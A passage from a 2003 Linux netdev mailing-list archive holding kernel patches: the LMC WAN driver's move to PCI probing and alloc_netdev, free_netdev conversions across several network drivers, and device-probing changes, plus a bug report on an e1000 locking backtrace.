out"); } -/* This initializes each card from lmc_probe() */ -static struct net_device *lmc_probe1 (struct net_device *dev, unsigned long ioaddr, unsigned int irq, /*fold00*/ - int chip_id, int subdevice, int board_idx) + +static int __devinit lmc_init_one(struct pci_dev *pdev, + const struct pci_device_id *ent) { - lmc_softc_t *sc = NULL; + struct net_device *dev; + lmc_softc_t *sc; + u16 subdevice; u_int16_t AdapModelNum; - - /* - * Allocate our own device structure - */ - - dev = kmalloc (sizeof (struct net_device)+8, GFP_KERNEL); - if (dev == NULL){ - printk (KERN_ERR "lmc: kmalloc for device failed\n"); - return NULL; - } - memset (dev, 0, sizeof (struct net_device)); - + int err = -ENOMEM; + static int cards_found; #ifndef GCOM - /* - * Switch to common hdlc%d naming. We name by type not by vendor - */ - - dev_alloc_name(dev, "hdlc%d"); + /* We name by type not by vendor */ + static const char lmcname[] = "hdlc%d"; #else - /* + /* * GCOM uses LMC vendor name so that clients can know which card * to attach to. */ - dev_alloc_name(dev, "lmc%d"); + static const char lmcname[] = "lmc%d"; #endif - lmc_trace(dev, "lmc_probe1 in"); + + /* + * Allocate our own device structure + */ + dev = alloc_netdev(sizeof(lmc_softc_t), lmcname, lmc_setup); + if (!dev) { + printk (KERN_ERR "lmc:alloc_netdev for device failed\n"); + goto out1; + } + + lmc_trace(dev, "lmc_init_one in"); + + err = pci_enable_device(pdev); + if (err) { + printk(KERN_ERR "lmc: pci enable failed:%d\n", err); + goto out2; + } - Lmc_Count++; + if (pci_request_regions(pdev, "lmc")) { + printk(KERN_ERR "lmc: pci_request_region failed\n"); + err = -EIO; + goto out3; + } + + pci_set_drvdata(pdev, dev); if(lmc_first_load == 0){ - printk(KERN_INFO "Lan Media Corporation WAN Driver Version %d.%d.%d\n",DRIVER_MAJOR_VERSION, DRIVER_MINOR_VERSION,DRIVER_SUB_VERSION); + printk(KERN_INFO "Lan Media Corporation WAN Driver Version %d.%d.%d\n", + DRIVER_MAJOR_VERSION, DRIVER_MINOR_VERSION,DRIVER_SUB_VERSION); lmc_first_load = 1; } - /* - * Allocate space for the private data structure - */ - - sc = kmalloc (sizeof (lmc_softc_t), GFP_KERNEL); - if (sc == NULL) { - printk (KERN_WARNING "%s: Cannot allocate memory for device state\n", - dev->name); - return (NULL); - } - memset (sc, 0, sizeof (lmc_softc_t)); - dev->priv = sc; + sc = dev->priv; sc->lmc_device = dev; sc->name = dev->name; @@ -883,8 +882,12 @@ /* An ioctl can cause a subsequent detach for raw frame interface */ sc->if_type = LMC_PPP; sc->check = 0xBEAFCAFE; - dev->base_addr = ioaddr; - dev->irq = irq; + dev->base_addr = pci_resource_start(pdev, 0); + dev->irq = pdev->irq; + + SET_MODULE_OWNER(dev); + SET_NETDEV_DEV(dev, &pdev->dev); + /* * This will get the protocol layer ready and do any 1 time init's * Must have a valid sc and dev structure @@ -893,19 +896,6 @@ lmc_proto_attach(sc); - /* Just fill in the entries for the device */ - - dev->init = lmc_init; - dev->type = ARPHRD_HDLC; - dev->hard_start_xmit = lmc_start_xmit; - dev->open = lmc_open; - dev->stop = lmc_close; - dev->get_stats = lmc_get_stats; - dev->do_ioctl = lmc_ioctl; - dev->set_config = lmc_set_config; - dev->tx_timeout = lmc_driver_timeout; - dev->watchdog_timeo = (HZ); /* 1 second */ - /* * Why were we changing this??? dev->tx_queue_len = 100; @@ -914,44 +904,45 @@ /* Init the spin lock so can call it latter */ spin_lock_init(&sc->lmc_lock); + pci_set_master(pdev); - printk ("%s: detected at %lx, irq %d\n", dev->name, ioaddr, dev->irq); + printk ("%s: detected at %lx, irq %d\n", dev->name, + dev->base_addr, dev->irq); if (register_netdev (dev) != 0) { printk (KERN_ERR "%s: register_netdev failed.\n", dev->name); - lmc_proto_detach(sc); - kfree (dev->priv); - kfree (dev); - return NULL; + goto out4; } - /* - * Request the region of registers we need, so that - * later on, no one else will take our card away from - * us. - */ - request_region (ioaddr, LMC_REG_RANGE, dev->name); - sc->lmc_cardtype = LMC_CARDTYPE_UNKNOWN; sc->lmc_timing = LMC_CTL_CLOCK_SOURCE_EXT; + /* + * + * Check either the subvendor or the subdevice, some systems reverse + * the setting in the bois, seems to be version and arch dependent? + * Fix the error, exchange the two values + */ + if ((subdevice = pdev->subsystem_device) == PCI_VENDOR_ID_LMC) + subdevice = pdev->subsystem_vendor; + switch (subdevice) { - case PCI_PRODUCT_LMC_HSSI: + case PCI_DEVICE_ID_LMC_HSSI: printk ("%s: LMC HSSI\n", dev->name); sc->lmc_cardtype = LMC_CARDTYPE_HSSI; sc->lmc_media = &lmc_hssi_media; break; - case PCI_PRODUCT_LMC_DS3: + case PCI_DEVICE_ID_LMC_DS3: printk ("%s: LMC DS3\n", dev->name); sc->lmc_cardtype = LMC_CARDTYPE_DS3; sc->lmc_media = &lmc_ds3_media; break; - case PCI_PRODUCT_LMC_SSI: + case PCI_DEVICE_ID_LMC_SSI: printk ("%s: LMC SSI\n", dev->name); sc->lmc_cardtype = LMC_CARDTYPE_SSI; sc->lmc_media = &lmc_ssi_media; break; - case PCI_PRODUCT_LMC_T1: + case PCI_DEVICE_ID_LMC_T1: printk ("%s: LMC T1\n", dev->name); sc->lmc_cardtype = LMC_CARDTYPE_T1; sc->lmc_media = &lmc_t1_media; @@ -976,13 +967,13 @@ AdapModelNum = (lmc_mii_readreg (sc, 0, 3) & 0x3f0) >> 4; if ((AdapModelNum == LMC_ADAP_T1 - && subdevice == PCI_PRODUCT_LMC_T1) || /* detect LMC1200 */ + && subdevice == PCI_DEVICE_ID_LMC_T1) || /* detect LMC1200 */ (AdapModelNum == LMC_ADAP_SSI - && subdevice == PCI_PRODUCT_LMC_SSI) || /* detect LMC1000 */ + && subdevice == PCI_DEVICE_ID_LMC_SSI) || /* detect LMC1000 */ (AdapModelNum == LMC_ADAP_DS3 - && subdevice == PCI_PRODUCT_LMC_DS3) || /* detect LMC5245 */ + && subdevice == PCI_DEVICE_ID_LMC_DS3) || /* detect LMC5245 */ (AdapModelNum == LMC_ADAP_HSSI - && subdevice == PCI_PRODUCT_LMC_HSSI)) + && subdevice == PCI_DEVICE_ID_LMC_HSSI)) { /* detect LMC5200 */ } @@ -996,10 +987,7 @@ */ LMC_CSR_WRITE (sc, csr_gp_timer, 0xFFFFFFFFUL); - sc->board_idx = board_idx; - - memset (&sc->stats, 0, sizeof (struct lmc_statistics)); - + sc->board_idx = cards_found++; sc->stats.check = STATCHECK; sc->stats.version_size = (DRIVER_VERSION << 16) + sizeof (struct lmc_statistics); @@ -1008,105 +996,40 @@ sc->lmc_ok = 0; sc->last_link_status = 0; - lmc_trace(dev, "lmc_probe1 out"); - - return dev; -} - - -/* This is the entry point. This is what is called immediately. */ -/* This goes out and finds the card */ + lmc_trace(dev, "lmc_init_one out"); + return 0; -int lmc_probe_fake(struct net_device *dev) /*fold00*/ -{ - lmc_probe(NULL); - /* Return 1 to unloaded bogus device */ - return 1; + out4: + lmc_proto_detach(sc); + out3: + if (pdev) { + pci_release_regions(pdev); + pci_set_drvdata(pdev, NULL); + } + out2: + free_netdev(dev); + out1: + return err; } -int lmc_probe (struct net_device *dev) /*fold00*/ +/* + * Called from pci when removing module. + */ +static void __devexit lmc_remove_one (struct pci_dev *pdev) { - int pci_index = 0; - unsigned long pci_ioaddr; - unsigned int pci_irq_line; - u16 vendor, subvendor, device, subdevice; - u32 foundaddr = 0; - u8 intcf = 0; - struct pci_dev *pdev = NULL; - - /* Loop basically until we don't find anymore. */ - while ((pdev = pci_find_class (PCI_CLASS_NETWORK_ETHERNET << 8, pdev))) { - if (pci_enable_device(pdev)) - break; - - vendor = pdev->vendor; - device = pdev->device; - pci_irq_line = pdev->irq; - pci_ioaddr = pci_resource_start (pdev, 0); - subvendor = pdev->subsystem_vendor; - subdevice = pdev->subsystem_device; - - pci_set_master (pdev); - - /* - * Make sure it's the correct card. CHECK SUBVENDOR ID! - * There are lots of tulip's out there. - * Also check the region of registers we will soon be - * poking, to make sure no one else has reserved them. - * This prevents taking someone else's device. - * - * Check either the subvendor or the subdevice, some systems reverse - * the setting in the bois, seems to be version and arch dependent? - * Fix the two variables - * - */ - if (!(check_region (pci_ioaddr, LMC_REG_RANGE)) && - (vendor == CORRECT_VENDOR_ID) && - (device == CORRECT_DEV_ID) && - ((subvendor == PCI_VENDOR_LMC) || (subdevice == PCI_VENDOR_LMC))){ - struct net_device *cur, *prev = NULL; - - /* Fix the error, exchange the two values */ - if(subdevice == PCI_VENDOR_LMC){ - subdevice = subvendor; - subvendor = PCI_VENDOR_LMC ; - } - - /* Make the call to actually setup this card */ - dev = lmc_probe1 (dev, pci_ioaddr, pci_irq_line, - device, subdevice, cards_found); - if (dev == NULL) { - printk ("lmc_probe: lmc_probe1 failed\n"); - goto lmc_probe_next_card; - } - /* insert the device into the chain of lmc devices */ - for (cur = Lmc_root_dev; - cur != NULL; - cur = ((lmc_softc_t *) cur->priv)->next_module) { - prev = cur; - } - - if (prev == NULL) - Lmc_root_dev = dev; - else - ((lmc_softc_t *) prev->priv)->next_module = dev; - - ((lmc_softc_t *) dev->priv)->next_module = NULL; - /* end insert */ - - foundaddr = dev->base_addr; - - cards_found++; - intcf++; - } - lmc_probe_next_card: - pci_index++; + struct net_device *dev = pci_get_drvdata(pdev); + + if (dev) { + lmc_softc_t *sc = dev->priv; + + printk("%s: removing...\n", dev->name); + lmc_proto_detach(sc); + unregister_netdev(dev); + free_netdev(dev); + pci_release_regions(pdev); + pci_disable_device(pdev); + pci_set_drvdata(pdev, NULL); } - - if (cards_found < 1) - return -1; - - return foundaddr; } /* After this is called, packets can be sent. @@ -1181,8 +1104,6 @@ sc->stats.tx_tbusy0++ ; - MOD_INC_USE_COUNT; - /* * select what interrupts we want to get */ @@ -1352,7 +1273,6 @@ lmc_trace(dev, "lmc_ifdown out"); - MOD_DEC_USE_COUNT; return 0; } @@ -1850,12 +1770,11 @@ static struct net_device_stats *lmc_get_stats (struct net_device *dev) /*fold00*/ { - lmc_softc_t *sc; + lmc_softc_t *sc = dev->priv; unsigned long flags; lmc_trace(dev, "lmc_get_stats in"); - sc = dev->priv; spin_lock_irqsave(&sc->lmc_lock, flags); @@ -1868,58 +1787,21 @@ return (struct net_device_stats *) &sc->stats; } +static struct pci_driver lmc_driver = { + .name = "lmc", + .id_table = lmc_pci_tbl, + .probe = lmc_init_one, + .remove = __devexit_p(lmc_remove_one), +}; + static int __init init_lmc(void) { - printk ("lmc: module loaded\n"); - - /* Have lmc_probe search for all the cards, and allocate devices */ - if (lmc_probe (NULL) < 0) - return -EIO; - - return 0; + return pci_module_init(&lmc_driver); } static void __exit exit_lmc(void) { - struct net_device *dev, *next; - lmc_softc_t *sc; - - /* we have no pointer to our devices, since they are all dynamically - * allocated. So, here we loop through all the network devices - * looking for ours. When found, dispose of them properly. - */ - - for (dev = Lmc_root_dev; - dev != NULL; - dev = next ) - { - - next = ((lmc_softc_t *) dev->priv)->next_module; /* get it now before we deallocate it */ - printk ("%s: removing...\n", dev->name); - - /* close the syncppp stuff, and release irq. Close is run on unreg net */ - lmc_close (dev); - sc = dev->priv; - if (sc != NULL) - lmc_proto_detach(sc); - - /* Remove the device from the linked list */ - unregister_netdev (dev); - - /* Let go of the io region */; - release_region (dev->base_addr, LMC_REG_RANGE); - - /* free our allocated structures. */ - kfree (dev->priv); - dev->priv = NULL; - - free_netdev (dev); - dev = NULL; - } - - - Lmc_root_dev = NULL; - printk ("lmc module unloaded\n"); + pci_unregister_driver(&lmc_driver); } module_init(init_lmc); @@ -2326,8 +2208,3 @@ } - -int lmc_setup(void) { /*FOLD00*/ - return lmc_probe(NULL); -} - diff -urN -X dontdiff linux-2.5/drivers/net/wan/lmc/lmc_var.h linux-2.5-net/drivers/net/wan/lmc/lmc_var.h --- linux-2.5/drivers/net/wan/lmc/lmc_var.h 2003-06-05 10:04:38.000000000 -0700 +++ linux-2.5-net/drivers/net/wan/lmc/lmc_var.h 2003-09-22 11:43:46.000000000 -0700 @@ -390,7 +390,7 @@ struct timer_list timer; lmc_ctl_t ictl; u_int32_t TxDescriptControlInit; - struct net_device *next_module; /* Link to the next module */ + int tx_TimeoutInd; /* additional driver state */ int tx_TimeoutDisplay; unsigned int lastlmc_taint_tx; @@ -519,18 +519,7 @@ #define TULIP_CMD_RECEIVEALL 0x40000000L #endif - -/* PCI register values */ -#define CORRECT_VENDOR_ID 0x1011 -#define CORRECT_DEV_ID 9 - -#define PCI_VENDOR_LMC 0x1376 -#define PCI_PRODUCT_LMC_HSSI 0x0003 -#define PCI_PRODUCT_LMC_DS3 0x0004 -#define PCI_PRODUCT_LMC_SSI 0x0005 -#define PCI_PRODUCT_LMC_T1 0x0006 - -/* Adapcter module number */ +/* Adapter module number */ #define LMC_ADAP_HSSI 2 #define LMC_ADAP_DS3 3 #define LMC_ADAP_SSI 4 From akpm@osdl.org Mon Sep 29 14:57:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 14:57:35 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TLv2Fx027186 for ; Mon, 29 Sep 2003 14:57:02 -0700 Received: from dhcp-140-177.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8TLut107536; Mon, 29 Sep 2003 14:56:55 -0700 Date: Mon, 29 Sep 2003 14:36:42 -0700 From: Andrew Morton To: netdev@oss.sgi.com Cc: cramerj@intel.com, scott.feldman@intel.com Subject: Fw: Badness in local_bh_enable at kernel/softirq.c:119 Message-Id: <20030929143642.18b491ba.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 337 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Badness in local_bh_enable at kernel/softirq.c:119 Call Trace: [] local_bh_enable+0x93/0x96 [] xprt_write_space+0xfb/0x158 [] sock_wfree+0x48/0x4a [] sock_wfree+0x0/0x4a [] __kfree_skb+0x49/0xda [] __delay+0x14/0x18 [] e1000_clean_tx_irq+0x1f0/0x1f6 [] e1000_tx_flush+0x69/0xd0 [] e1000_watchdog+0xba/0x340 [] scheduler_tick+0x5a6/0x5ac [] e1000_watchdog+0x0/0x340 [] run_timer_softirq+0xe8/0x1cc [] smp_apic_timer_interrupt+0x147/0x14c [] do_softirq+0xc9/0xcc [] local_bh_enable+0x68/0x96 [] rt_run_flush+0xa4/0xda [] fib_netdev_event+0x57/0x8b [] notifier_call_chain+0x27/0x40 [] netdev_state_change+0x37/0x52 [] linkwatch_run_queue+0xce/0xe2 [] linkwatch_event+0x26/0x2c [] worker_thread+0x212/0x314 [] linkwatch_event+0x0/0x2c [] default_wake_function+0x0/0x2e [] ret_from_fork+0x6/0x14 [] default_wake_function+0x0/0x2e [] worker_thread+0x0/0x314 [] kernel_thread_helper+0x5/0xc It hapenned while NFS was having trouble communicating with the server. Due to this: spin_lock_irqsave(&netdev->xmit_lock, flags); e1000_tx_flush(adapter); spin_unlock_irqrestore(&netdev->xmit_lock, flags); I'd have thought that calling kfree_skb() under xmit_lock would be a big ranking bug.. But the reason why the kernel dropped this backtrace is that local_bh_enable() will unconditionally enable interrupts, so this driver is exposed to a deadlock. Other parts of the kernel do not take xmit_lock with irq's disabled, so a simple spin_lock() here may suffice. Oh, it's taking xmit_lock in a timer handler. I give up. From romieu@fr.zoreil.com Mon Sep 29 15:08:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 15:09:19 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TM8fFx028082 for ; Mon, 29 Sep 2003 15:08:42 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h8TM6lJo021419; Tue, 30 Sep 2003 00:06:47 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h8TM6kcE021418; Tue, 30 Sep 2003 00:06:46 +0200 Date: Tue, 30 Sep 2003 00:06:46 +0200 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com, "David S. Miller" Subject: [PATCH] 2.6.0-test6 - more free_netdev() conversion Message-ID: <20030930000646.A19220@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 338 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Compiles ok (with true .o generated, yeah). Please review. free_netdev() of devices allocated through use of alloc_netdev(). Though baroque, drivers/net/3c515.c now uses alloc_etherdev(). drivers/net/3c515.c | 23 ++++++++++++----------- drivers/net/defxx.c | 2 +- drivers/net/dummy.c | 2 +- drivers/net/eql.c | 2 +- drivers/net/ns83820.c | 2 +- drivers/net/plip.c | 14 ++++++++++---- drivers/net/shaper.c | 11 ++++++++--- drivers/net/tun.c | 18 +++++++++--------- 9 files changed, 43 insertions(+), 31 deletions(-) diff -puN drivers/net/3c515.c~free_netdev drivers/net/3c515.c --- linux-2.6.0-test6/drivers/net/3c515.c~free_netdev Mon Sep 29 21:41:27 2003 +++ linux-2.6.0-test6-fr/drivers/net/3c515.c Mon Sep 29 21:41:27 2003 @@ -569,14 +569,13 @@ static struct net_device *corkscrew_foun #ifdef MODULE /* Allocate and fill new device structure. */ - int dev_size = sizeof(struct net_device) + sizeof(struct corkscrew_private) + 15; /* Pad for alignment */ + int dev_size = sizeof(struct corkscrew_private); - dev = (struct net_device *) kmalloc(dev_size, GFP_KERNEL); + dev = alloc_etherdev(dev_size); if (!dev) - return NULL; + goto err_out; memset(dev, 0, dev_size); - /* Align the Rx and Tx ring entries. */ - dev->priv = (void *) (((long) dev + sizeof(struct net_device) + 15) & ~15); + vp = (struct corkscrew_private *) dev->priv; dev->base_addr = ioaddr; dev->irq = irq; @@ -593,19 +592,16 @@ static struct net_device *corkscrew_foun vp->full_duplex = 0; vp->bus_master = 0; } - ether_setup(dev); vp->next_module = root_corkscrew_dev; root_corkscrew_dev = dev; SET_MODULE_OWNER(dev); - if (register_netdev(dev) != 0) { - kfree(dev); - return NULL; - } + if (register_netdev(dev) < 0) + goto err_free_dev; #else /* not a MODULE */ /* Caution: quad-word alignment required for rings! */ dev->priv = kmalloc(sizeof(struct corkscrew_private), GFP_KERNEL); if (!dev->priv) - return NULL; + goto err_out; memset(dev->priv, 0, sizeof(struct corkscrew_private)); dev = init_etherdev(dev, sizeof(struct corkscrew_private)); dev->base_addr = ioaddr; @@ -627,6 +623,11 @@ static struct net_device *corkscrew_foun corkscrew_probe1(dev); #endif /* MODULE */ return dev; + +err_free_dev: + free_netdev(dev); +err_out: + return NULL; } static int corkscrew_probe1(struct net_device *dev) diff -puN drivers/net/defxx.c~free_netdev drivers/net/defxx.c --- linux-2.6.0-test6/drivers/net/defxx.c~free_netdev Mon Sep 29 21:41:27 2003 +++ linux-2.6.0-test6-fr/drivers/net/defxx.c Mon Sep 29 21:41:27 2003 @@ -491,7 +491,7 @@ err_out_kfree: err_out_region: release_region(ioaddr, pdev ? PFI_K_CSR_IO_LEN : PI_ESIC_K_CSR_IO_LEN); err_out: - kfree(dev); + free_netdev(dev); return err; } diff -puN drivers/net/dummy.c~free_netdev drivers/net/dummy.c --- linux-2.6.0-test6/drivers/net/dummy.c~free_netdev Mon Sep 29 21:41:27 2003 +++ linux-2.6.0-test6-fr/drivers/net/dummy.c Mon Sep 29 21:41:27 2003 @@ -96,7 +96,7 @@ static int __init dummy_init_module(void return -ENOMEM; if ((err = register_netdev(dev_dummy))) { - kfree(dev_dummy); + free_netdev(dev_dummy); dev_dummy = NULL; } return err; diff -puN drivers/net/eql.c~free_netdev drivers/net/eql.c --- linux-2.6.0-test6/drivers/net/eql.c~free_netdev Mon Sep 29 21:41:27 2003 +++ linux-2.6.0-test6-fr/drivers/net/eql.c Mon Sep 29 21:41:27 2003 @@ -600,7 +600,7 @@ static int __init eql_init_module(void) err = register_netdev(dev_eql); if (err) - kfree(dev_eql); + free_netdev(dev_eql); return err; } diff -puN drivers/net/ns83820.c~free_netdev drivers/net/ns83820.c --- linux-2.6.0-test6/drivers/net/ns83820.c~free_netdev Mon Sep 29 21:41:27 2003 +++ linux-2.6.0-test6-fr/drivers/net/ns83820.c Mon Sep 29 21:41:27 2003 @@ -2034,7 +2034,7 @@ out_disable: pci_free_consistent(pci_dev, 4 * DESC_SIZE * NR_RX_DESC, dev->rx_info.descs, dev->rx_info.phy_descs); pci_disable_device(pci_dev); out_free: - kfree(dev); + free_netdev(&dev->net_dev); pci_set_drvdata(pci_dev, NULL); out: return err; diff -puN drivers/net/plip.c~free_netdev drivers/net/plip.c --- linux-2.6.0-test6/drivers/net/plip.c~free_netdev Mon Sep 29 21:41:27 2003 +++ linux-2.6.0-test6-fr/drivers/net/plip.c Mon Sep 29 21:41:27 2003 @@ -1306,17 +1306,23 @@ static void plip_attach (struct parport if (!nl->pardev) { printk(KERN_ERR "%s: parport_register failed\n", name); - kfree(dev); + goto err_free_dev; return; } if (register_netdev(dev)) { printk(KERN_ERR "%s: network register failed\n", name); - kfree(dev); - } else { - dev_plip[unit++] = dev; + goto err_parport_unregister; } + dev_plip[unit++] = dev; } + return; + +err_parport_unregister: + parport_unregister_device(nl->pardev); +err_free_dev: + free_netdev(dev); + return; } /* plip_detach() is called (by the parport code) when a port is diff -puN drivers/net/rrunner.c~free_netdev drivers/net/rrunner.c diff -puN drivers/net/shaper.c~free_netdev drivers/net/shaper.c --- linux-2.6.0-test6/drivers/net/shaper.c~free_netdev Mon Sep 29 21:41:27 2003 +++ linux-2.6.0-test6-fr/drivers/net/shaper.c Mon Sep 29 21:41:27 2003 @@ -718,8 +718,10 @@ static int __init shaper_init(void) if (!dev) break; - if (register_netdev(dev)) + if (register_netdev(dev)) { + free_netdev(dev); break; + } devs[i] = dev; shapers_registered++; @@ -737,9 +739,12 @@ static void __exit shaper_exit (void) { int i; - for (i = 0; i < shapers_registered; i++) - if (devs[i]) + for (i = 0; i < shapers_registered; i++) { + if (devs[i]) { unregister_netdev(devs[i]); + free_netdev(devs[i]); + } + } kfree(devs); devs = NULL; diff -puN drivers/net/tun.c~free_netdev drivers/net/tun.c --- linux-2.6.0-test6/drivers/net/tun.c~free_netdev Mon Sep 29 21:41:27 2003 +++ linux-2.6.0-test6-fr/drivers/net/tun.c Mon Sep 29 21:41:27 2003 @@ -377,6 +377,7 @@ static struct tun_struct *tun_get_by_nam static int tun_set_iff(struct file *file, struct ifreq *ifr) { struct tun_struct *tun; + struct net_device *dev; int err; tun = tun_get_by_name(ifr->ifr_name); @@ -394,7 +395,6 @@ static int tun_set_iff(struct file *file else { char *name; unsigned long flags = 0; - struct net_device *dev; err = -EINVAL; @@ -424,16 +424,13 @@ static int tun_set_iff(struct file *file if (strchr(dev->name, '%')) { err = dev_alloc_name(dev, dev->name); - if (err < 0) { - kfree(dev); - goto failed; - } + if (err < 0) + goto err_free_dev; } - if ((err = register_netdevice(tun->dev))) { - kfree(dev); - goto failed; - } + err = register_netdevice(tun->dev); + if (err < 0) + goto err_free_dev; list_add(&tun->list, &tun_dev_list); } @@ -451,6 +448,9 @@ static int tun_set_iff(struct file *file strcpy(ifr->ifr_name, tun->dev->name); return 0; + + err_free_dev: + free_netdev(dev); failed: return err; } _ From shemminger@osdl.org Mon Sep 29 15:12:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 15:13:01 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TMCQFx028441 for ; Mon, 29 Sep 2003 15:12:26 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8TMCH111228; Mon, 29 Sep 2003 15:12:17 -0700 Date: Mon, 29 Sep 2003 15:11:50 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] device probing changes Message-Id: <20030929151150.7331b603.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0" X-archive-position: 339 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit This a resend of the earlier patches, but these are against 2.6.0-test6 latest; the arlan patch assumes the fix that occurred after 2.6.0-test6 went out. 00 - adds list of devices that allocate own netdev 01 - de620 02 - ni65 03 - ni52 04 - ni5010 05 - sk16 06 - 3c505 07 - 3c507 08 - arlan 09 - wavelan 10 - 3c501 11 - 82596 Each patch starts with a description. --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="00-probe.patch" Content-Disposition: attachment; filename="00-probe.patch" Content-Transfer-Encoding: 7bit Add second probe list used for devices which allocate their own network device. Restore earlier behaviour where we probe for up to eight network devices, even if some don't exist. This is for the case where boot parameters set values for second or third device. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 10:38:06 2003 +++ b/drivers/net/Space.c Mon Sep 29 10:38:06 2003 @@ -110,6 +110,11 @@ int status; /* non-zero if autoprobe has failed */ }; +struct devprobe2 { + struct net_device *(*probe)(int unit); + int status; /* non-zero if autoprobe has failed */ +}; + /* * probe_list walks a list of probe functions and calls each so long * as a non-zero ioaddr is given, or as long as it hasn't already failed @@ -135,6 +140,21 @@ return -ENODEV; } +static int __init probe_list2(int unit, struct devprobe2 *p, int autoprobe) +{ + struct net_device *dev; + for (; p->probe; p++) { + if (autoprobe && p->status) + continue; + dev = p->probe(unit); + if (!IS_ERR(dev)) + return 0; + if (autoprobe) + p->status = PTR_ERR(dev); + } + return -ENODEV; +} + /* * This is a bit of an artificial separation as there are PCI drivers * that also probe for EISA cards (in the PCI group) and there are ISA @@ -372,6 +392,16 @@ return err; } + +static void __init ethif_probe2(int unit) +{ + unsigned long base_addr = netdev_boot_base("eth", unit); + + if (base_addr == 1) + return; + + return; /* nothing yet */ +} #ifdef CONFIG_TR /* Token-ring device probe */ @@ -433,17 +463,17 @@ #ifdef CONFIG_SBNI for (num = 0; num < 8; ++num) - if (sbni_probe(num)) - break; + sbni_probe(num); #endif #ifdef CONFIG_TR for (num = 0; num < 8; ++num) - if (trif_probe(num)) - break; + trif_probe(num); #endif - for (num = 0; num < 8; ++num) - if (ethif_probe(num)) - break; + for (num = 0; num < 8; ++num) { + if (!ethif_probe(num)) + ethif_probe2(num); + } + #ifdef CONFIG_COPS cops_probe(0); cops_probe(1); diff -Nru a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h Mon Sep 29 10:38:06 2003 +++ b/include/linux/netdevice.h Mon Sep 29 10:38:06 2003 @@ -499,6 +499,7 @@ extern void probe_old_netdevs(void); extern int netdev_boot_setup_add(char *name, struct ifmap *map); extern int netdev_boot_setup_check(struct net_device *dev); +extern unsigned long netdev_boot_base(const char *prefix, int unit); extern struct net_device *dev_getbyhwaddr(unsigned short type, char *hwaddr); extern void dev_add_pack(struct packet_type *pt); extern void dev_remove_pack(struct packet_type *pt); diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Mon Sep 29 10:38:06 2003 +++ b/net/core/dev.c Mon Sep 29 10:38:06 2003 @@ -372,6 +372,30 @@ return 0; } + +/** + * netdev_boot_base - get address from boot time settings + * @prefix: prefix for network device + * @unit: id for network device + * + * Check boot time settings for the base address of device. + * The found settings are set for the device to be used + * later in the device probing. + * Returns 0 if no settings found. + */ +unsigned long netdev_boot_base(const char *prefix, int unit) +{ + const struct netdev_boot_setup *s = dev_boot_setup; + char name[IFNAMSIZ]; + int i; + + sprintf(name, "%s%d", prefix, unit); + for (i = 0; i < NETDEV_BOOT_SETUP_MAX; i++) + if (!strcmp(name, s[i].name)) + return s[i].map.base_addr; + return 0; +} + /* * Saves at boot time configured settings for any netdevice. */ --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="01-de620.patch" Content-Disposition: attachment; filename="01-de620.patch" Content-Transfer-Encoding: 7bit Part of viro NE13-de620: * switched de620 to dynamic allocation * de620: embedded ->priv * de620: fixed IO before request_region() Additional: * use free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 09:43:23 2003 +++ b/drivers/net/Space.c Mon Sep 29 09:43:23 2003 @@ -96,7 +96,7 